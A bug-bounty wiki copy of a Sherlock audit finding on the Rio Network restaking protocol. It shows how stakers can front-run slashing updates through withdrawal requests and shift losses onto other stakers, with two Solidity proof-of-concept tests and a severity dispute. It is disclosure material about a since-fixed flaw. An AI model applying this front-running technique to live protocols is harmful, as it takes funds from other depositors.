Skip to content
Business logic Audit finding Advanced

Stakers can avoid validator penalties

Stakers could request a withdrawal before a validator penalty or slashing event is reflected in the protocol's total value locked (TVL), allowing them to avoid their share of the loss. This was possible if the deposit pool had enough liquidity to cover the withdrawal.

monrel Follow with zzykxx

Originally disclosed on Sherlock

Source: https://github.com/sherlock-audit/2024-02-rio-network-core-protocol-judging/issues/190

Found by

monrel, zzykxx

Summary

Stakers can frontrun validators penalties and slashing events with a withdrawal request in order to avoid the loss, this is possible if the deposit pool has enough liquidity available.

Vulnerability Detail

Validators can lose part of their deposit via penalties or slashing events:

  • In case of penalties Eigenlayer can be notified of the balance drop via the permissionless function

EigenPod::verifyBalanceUpdates().

  • In case of slashing the validator is forced to exit and Eigenlayer can be notified via the permissionless function EigenPod::verifyAndProcessWithdrawals() because the slashing event is effectively a full withdrawal.

As soon as either EigenPod::verifyBalanceUpdates() or EigenPod::verifyAndProcessWithdrawals() is called the TVL of the Rio protocol drops instantly. This is because both of the functions update the variable podOwnerShares[podOwner]:

This makes it possible for stakers to:

  1. Request a withdrawal via RioLRTCoordinator::rebalance() for all the LRTTokens held.
  2. Call either EigenPod::verifyBalanceUpdates() or EigenPod::verifyAndProcessWithdrawals().

At this point when RioLRTCoordinator::rebalance() will be called and a withdrawal will be queued that does not include penalties or slashing.

It's possible to withdraw LRTTokens while avoiding penalties or slashing up to the amount of liquidity available in the deposit pool.

POC

I wrote a POC whose main point is to show that requesting a withdrawal before an instant TVL drop will withdraw the full amount requested without taking the drop into account. The POC doesn't show that EigenPod::verifyBalanceUpdates() or EigenPod::verifyAndProcessWithdrawals() actually lowers the TVL because I wasn't able to implement it in the tests.

Add imports to RioLRTCoordinator.t.sol:

Solidity
import {IRioLRTOperatorRegistry} from 'contracts/interfaces/IRioLRTOperatorRegistry.sol';
import {RioLRTOperatorDelegator} from 'contracts/restaking/RioLRTOperatorDelegator.sol';
import {CredentialsProofs, BeaconWithdrawal} from 'test/utils/beacon-chain/MockBeaconChain.sol';

then copy-paste:

Solidity
IRioLRTOperatorRegistry.StrategyShareCap[] public emptyStrategyShareCaps;
function test_avoidInstantPriceDrop() public {
    //-> Add two operators with 1 validator each
    uint8[] memory operatorIds = addOperatorDelegators(
        reETH.operatorRegistry,
        address(reETH.rewardDistributor),
        2,
        emptyStrategyShareCaps,
        1
    );
    address operatorAddress0 = address(uint160(1));

    //-> Deposit ETH so there's 74ETH in the deposit pool
    uint256 depositAmount = 2*ETH_DEPOSIT_SIZE - address(reETH.depositPool).balance;
    uint256 amountToWithdraw = 10 ether;
    reETH.coordinator.depositETH{value: amountToWithdraw + depositAmount}();

    //-> Stake the 64ETH on the validators, 32ETH each and 10 ETH stay in the deposit pool
    vm.prank(EOA, EOA);
    reETH.coordinator.rebalance(ETH_ADDRESS);

    //-> Attacker notices a validator is going receive penalties and immediately requests a withdrawal of 10ETH
    reETH.coordinator.requestWithdrawal(ETH_ADDRESS, amountToWithdraw);

    //-> Validator get some penalties and Eigenlayer notified 
    //IMPORTANT: The following block of code it's a simulation of what would happen if a validator balances gets lowered because of penalties
    //and `verifyBalanceUpdates()` gets called on Eigenlayer. It uses another bug to achieve an instant loss of TVL.

    //      ~~~Start penalties simulation~~~
    {
        //-> Verify validators credentials of the two validators
        verifyCredentialsForValidators(reETH.operatorRegistry, 1, 1);
        verifyCredentialsForValidators(reETH.operatorRegistry, 2, 1);

        //-> Cache current TVL and ETH Balance
        uint256 TVLBefore = reETH.coordinator.getTVL();

        //->Operator calls `undelegate()` on Eigenlayer
        //IMPORTANT: This achieves the same a calling `verifyBalanceUpdates()` on Eigenlayer after a validator suffered penalties,
        //an instant drop in TVL.
        IRioLRTOperatorRegistry.OperatorPublicDetails memory details = reETH.operatorRegistry.getOperatorDetails(operatorIds[0]);
        vm.prank(operatorAddress0);
        delegationManager.undelegate(details.delegator);

        //-> TVL dropped
        uint256 TVLAfter = reETH.coordinator.getTVL();

        assertLt(TVLAfter, TVLBefore);
    }
    //      ~~~End penalties simulation~~~

    //-> Rebalance gets called
    skip(reETH.coordinator.rebalanceDelay());
    vm.prank(EOA, EOA);
    reETH.coordinator.rebalance(ETH_ADDRESS);

    //-> Attacker receives all of the ETH he withdrew, avoiding the effect of penalties
    uint256 balanceBefore = address(this).balance;
    reETH.withdrawalQueue.claimWithdrawalsForEpoch(IRioLRTWithdrawalQueue.ClaimRequest({asset: ETH_ADDRESS, epoch: 0}));
    uint256 balanceAfter = address(this).balance;
    assertEq(balanceAfter - balanceBefore, amountToWithdraw);
}

Impact

Stakers can avoid validator penalties and slashing events if there's enough liquidity in the deposit pool.

Code Snippet

Tool used

Manual Review

Recommendation

When RioLRTCoordinator::rebalance() is called and penalties or slashing events happened during the epoch being settled, distribute the correct amount of penalties to all the LRTTokens withdrawn in the current epoch, including the ones that requested the withdrawal before the drop.

Discussion

nevillehuang

Could be related to #52 and duplicates, both seems to involve front-running/sandwiching rebalance calls. Separated for now for further discussions

solimander

Valid, though need to take some time to consider whether this will be addressed. Could potentially frontrun slashing using any liquidity pool.

KupiaSecAdmin

Escalate

This issue should be considered as Low, because this happens under rare condition and impact is pretty small.

  1. When a staker notices a slashing event, tries to withdraw all of their assets, wait for rebalance delay, another wait for EigenLayer withdrawal period.
  2. The slashing amount is maximum 1ETH, compared to each validator deposits 32ETH, the amount does not affect TVL much.
  3. The penalty amount that staker can avoid is Staker'sAmount * 1 / TVL, which looks pretty small in real word experience, thus much less incentive for staker to monitor slashing events and avoid the penalty.
  4. Another point to consider is that once a staker requests a withdrawal, the staker loses earning during the withdrawal period, which makes it less incentive.

sherlock-admin2

Escalate

This issue should be considered as Low, because this happens under rare condition and impact is pretty small.

  1. When a staker notices a slashing event, tries to withdraw all of their assets, wait for rebalance delay, another wait for EigenLayer withdrawal period.
  2. The slashing amount is maximum 1ETH, compared to each validator deposits 32ETH, the amount does not affect TVL much.
  3. The penalty amount that staker can avoid is Staker'sAmount * 1 / TVL, which looks pretty small in real word experience, thus much less incentive for staker to monitor slashing events and avoid the penalty.
  4. Another point to consider is that once a staker requests a withdrawal, the staker loses earning during the withdrawal period, which makes it less incentive.

You've created a valid escalation!

To remove the escalation from consideration: Delete your comment.

You may delete or edit your escalation comment anytime before the 48-hour escalation window closes. After that, the escalation becomes final.

0xmonrel

Escalate

I will argue that this is a High issue

The core of this issue is not that TVL is dropped but rather that the slashing will be concentrated among those that don't front-run.

If 50% front-run then the rest will pay 50% more in slashing penalty. Taken to the worst case scenario, if all but 1 user front-run he will pay for the entire slashing amount.

Look at the duplicate #362 that shows this.

When this issue becomes known a new "meta" will be at play, everybody will have to front-run otherwise they risk losing all their funds since they will have to cover an outsized part of the slashing penalty. The most likely scenario is that users leave the protocol since there is no assurance they don't lose all their funds if other manage to front-run and they don't.

As such slashing does not actually have to happen for this to be an issue, when users known that this issue exists the rational decision is to exit the protocol.

I am not sure if this fulfills the "Inflicts serious non-material losses (doesn't include contract simply not working)." requirement but I would like the judge to consider the above arguments.

sherlock-admin2

Escalate

I will argue that this is a High issue

The core of this issue is not that TVL is dropped but rather that the slashing will be concentrated among those that don't front-run.

If 50% front-run then the rest will pay 50% more in slashing penalty. Taken to the worst case scenario, if all but 1 user front-run he will pay for the entire slashing amount.

Look at the duplicate #362 that shows this.

When this issue becomes known a new "meta" will be at play, everybody will have to front-run otherwise they risk losing all their funds since they will have to cover an outsized part of the slashing penalty. The most likely scenario is that users leave the protocol since there is no assurance they don't lose all their funds if other manage to front-run and they don't.

As such slashing does not actually have to happen for this to be an issue, when users known that this issue exists the rational decision is to exit the protocol.

I am not sure if this fulfills the "Inflicts serious non-material losses (doesn't include contract simply not working)." requirement but I would like the judge to consider the above arguments.

You've created a valid escalation!

To remove the escalation from consideration: Delete your comment.

You may delete or edit your escalation comment anytime before the 48-hour escalation window closes. After that, the escalation becomes final.

Czar102

When a staker notices a slashing event, tries to withdraw all of their assets, wait for rebalance delay, another wait for EigenLayer withdrawal period.

@KupiaSecAdmin how long is the rebalance delay and the EigenLayer withdrawal period?

The slashing amount is maximum 1ETH, compared to each validator deposits 32ETH, the amount does not affect TVL much.

There could be multiple slashings at once, right? So the amount isn't capped. cc @nevillehuang @0xmonrel

KupiaSecAdmin

@Czar102 - Rebalance delay is max 3 days, EigenLayer's withdrawal period is about 5-7 days.

Regarding the slashing, as it can be shown on beaconscan, usually 1-2(max 3-4) slashing happens in 12 days. And usually one slash amount is around 0.6 ETH, max capped at 1ETH. So they are 1-2 slashing of 1M validators, and in 12 days. Not sure how many validators can Rio could have control of, but the amount is relatively too small to incentivize stakers withdraw all their assets to avoid penalties.

0xmonrel

The point is that if other front-run you lose an unproportional amount if that is 1 ETH or 20 ETH launchnode does not change the fact that the penalty is re-distributed.

Consider this from a user's perspective: They could based on the action of other LRT holders lose all their assets even based on a small % slashing. If something big happens such as the launchnode event the chance is of course increased.

I believe this is a critical issue for an LRT or LST, each user having a guarantee that they only pay a proportional amount is a requirement for it to be a viable product.

As it stands: If slashed you could lose a proportional amount or up to 100% of your assets, you don't know. It will be a race to front-run.

KupiaSecAdmin

@0xmonrel - Talking about launchnode, they had about 5000 validators, so the staked amount is 160,000ETH. Saying 20ETH is slashed, it is like 0.0125%. Stakers withdrawing all assets because they want to avoid 0.01% of their asset does not seem to make much sense.

Also not quite understanding what you've described above, how front-run can let other LRT holders lose all assets?

0xmonrel

Also the the following argument is not true:

When a staker notices a slashing event, tries to withdraw all of their assets, wait for rebalance delay, another >wait for EigenLayer withdrawal period.

At the point when you front-run withdrawal you have already calculated the exchange rate. Rebalancing does not have to happen before validator balance is updated on EigenLayer. You only need to call withdrawal on Rio which is where sharesOwed is calculated.

This issue actually makes it seem like there are other constraints, that is not true. Look at my duplicate issue #362. You only need request withdrawl to lock in your sharesOwed.

0xmonrel

@0xmonrel - Talking about launchnode, they had about 5000 validators, so the staked amount is 160,000ETH. Saying 20ETH is slashed, it is like 0.0125%. Stakers withdrawing all assets because they want to avoid 0.01% of their asset does not seem to make much sense.

Also not quite understanding what you've described above, how front-run can let other LRT holders lose all assets?

I linked that to answer Czar question of multiple slashing being possible, which it is.

I will explain again that this issue leads to re-distribution of slashing, that is why you can lose 100%.

Simple Example:

  1. 1 ETH slashed
  2. All front-run other than 1 user that has shares worth 1 ETH. shares on EigenLayer=1.
  3. When balance is updated on Eigenlayer it will be 0 ETH since 1-1=0
  4. Last user has lost 100% of assets.

Observe that all withdrawals for users in 2 will be successful at the sharesOwed calculated when they request their withdrawal since no deficit is reached.

Its the re-distribution from all that front-run to those that are left that leads to large losses.

Czar102

I believe that, given the sole requirement that a larger than usual (still, possibly small) slashing event needs to happen for this strategy of withdrawing to be profitable (lowering losses), the severity is High. It's quite close to being a Medium, though.

Planning to accept the second escalation and make this a High severity issue.

nevillehuang

@Czar102 @solimander @0xmonrel Isn't slashing a less common event given validators are not incentivized to do so?

solimander

Isn't slashing a less common event given validators are not incentivized to do so?

It's an edge case. Only about 0.0425% of Ethereum validators have been slashed and we're working with professional operators, but it should be handled gracefully regardless.

0xmonrel

I think we should also consider that a small amount of slashing and profit for front-runners can still lead to very large loss for those that do not front-run.

Here is a POC of a case where 1 ETH slashing leads to 100% loss for those that do not front-run.

Solidity
    function test_FrontRunReDistribution() public{
        
        uint8[] memory operatorIds = addOperatorDelegators( //add 2 validators to 1 operator
        reETH.operatorRegistry,
        address(reETH.rewardDistributor),
        1,
        emptyStrategyShareCaps,
        2
        );
        
        // POC is based on two cohorts, each cohort could include 1 or multiple users. 
        // Cohort 1 is the set of users that front-run. In total they hold 31 ETH
        // Cohort 2 is the set of cohort that do not front-run. These users hold 1 ETH
        //
        // I show that if cohort 1 front-runs cohort 2 after a 1 ETH slashing
        // cohort 2 loses 100% of their assets, they were supposed to only lose only ~3%
        
        uint256 depositAmount = ETH_DEPOSIT_SIZE - address(reETH.depositPool).balance;  
        reETH.coordinator.depositETH{value: depositAmount}(); 

        vm.prank(EOA, EOA);
        reETH.coordinator.rebalance(ETH_ADDRESS); 
        uint40[] memory validatorIndices = verifyCredentialsForValidators(reETH.operatorRegistry, 1, 1);
        
        address delegator = reETH.operatorRegistry.getOperatorDetails(operatorIds[0]).delegator;
        
        // Slashing for 1 ETH and 31 ETH front-runs the update

        uint256 withdrawalAmount = 31 ether;
        reETH.coordinator.requestWithdrawal(ETH_ADDRESS, withdrawalAmount);
        uint256 firstEpoch = reETH.withdrawalQueue.getCurrentEpoch(ETH_ADDRESS);

        // Slashing is updated on EigenLayer
        // We manually update balance to 1 to simulate the update. 
        
        int256 shares = RioLRTOperatorDelegator(payable(delegator)).getEigenPodShares();         
        
        IEigenPodManager manager = IEigenPodManager(EIGEN_POD_MANAGER_ADDRESS);
        stdstore.target(EIGEN_POD_MANAGER_ADDRESS).sig("podOwnerShares(address)").with_key(delegator).checked_write_int(int256(shares-1 ether));
        int256 loadInt = stdstore.target(EIGEN_POD_MANAGER_ADDRESS).sig("podOwnerShares(address)").with_key(delegator).read_int();

        skip(reETH.coordinator.rebalanceDelay());
        vm.prank(EOA, EOA);
        reETH.coordinator.rebalance(ETH_ADDRESS);
        
        // Check the availalbe shares left after front-run and slashing update

        shares = RioLRTOperatorDelegator(payable(delegator)).getEigenPodShares();         
        
        assertEq(shares,0);
        
        console2.log("Amount of shares available for cohort 2 after cohort 1 front-runs:", shares);
        uint256 expectedShares = 1e18 * 31 /32;

        console2.log("Amount of shares expected for cohort 2 after 1 ETH slashing:", expectedShares);

    }

Logs:
  Amount of shares available for cohort 2 after cohort 1 front-runs: 0
  Amount of shares expected for cohort 2 after 1 ETH slashing: 968750000000000000

Czar102

I understand the impact, but, on second thoughts, given that the slashings are very rare and there are multiple safeguards and incentives set to prevent them, it makes more sense to consider this a Medium severity issue.

Planning to reject the escalation and leave it as is.

Czar102

Result: Medium Has duplicates

sherlock-admin2

Escalations have been resolved successfully!

Escalation status:

sherlock-admin4

The protocol team fixed this issue in the following PRs/commits: https://github.com/rio-org/rio-sherlock-audit/pull/13

10xhash

The protocol team fixed this issue in the following PRs/commits: rio-org/rio-sherlock-audit#13

Now since the value of the rio token is only computed at the time of rebalance, if the off-chain system is able to update the slashed validators balance in eigenpod before the rebalance call, the correct price will be used

sherlock-admin4

The Lead Senior Watson signed off on the fix.

The original report as published on Sherlock, by monrel. Images and videos are our own copies; raw HTML is shown as text. View it on Sherlock.

Not written yet. The AI write-up for this report has not been written yet. The Original tab links to the source.

How it worked

Impact

Stakers could avoid validator penalties and slashing events if there is enough liquidity in the deposit pool, potentially shifting the loss to other stakers.

What the attacker needed

Deposit pool has enough liquidity; validator penalty or slashing occurs

The fix

The protocol team fixed this issue in a pull request.

Explained by bugbounty.wiki with AI from the original and checked against quotes from it; it can still be wrong. Read the original before relying on a detail.

Not written yet. The AI write-up for this report has not been written yet. The Original tab links to the source.

When a validator misbehaves, it can lose some of its staked money (a penalty or slashing). In this protocol, that loss reduces the value of everyone's shares. The bug let a user ask to withdraw their money just before the loss was recorded, so they got out at the old, higher value and left others to absorb the loss.

What is Business logic?

The application works as coded but not as intended: a negative price, a skipped payment step, a limit that can be crossed.

More by monrel

View all

10 more disclosed reports, best first.

More from Rio Network

View all

The newest disclosed reports for this program.

Similar reports

View all

Same bug class and techniques, clearest first.

Business logic flaws

The lesson behind this report.

The application works as coded but not as intended: a negative price, a skipped payment step, a limit that can be crossed.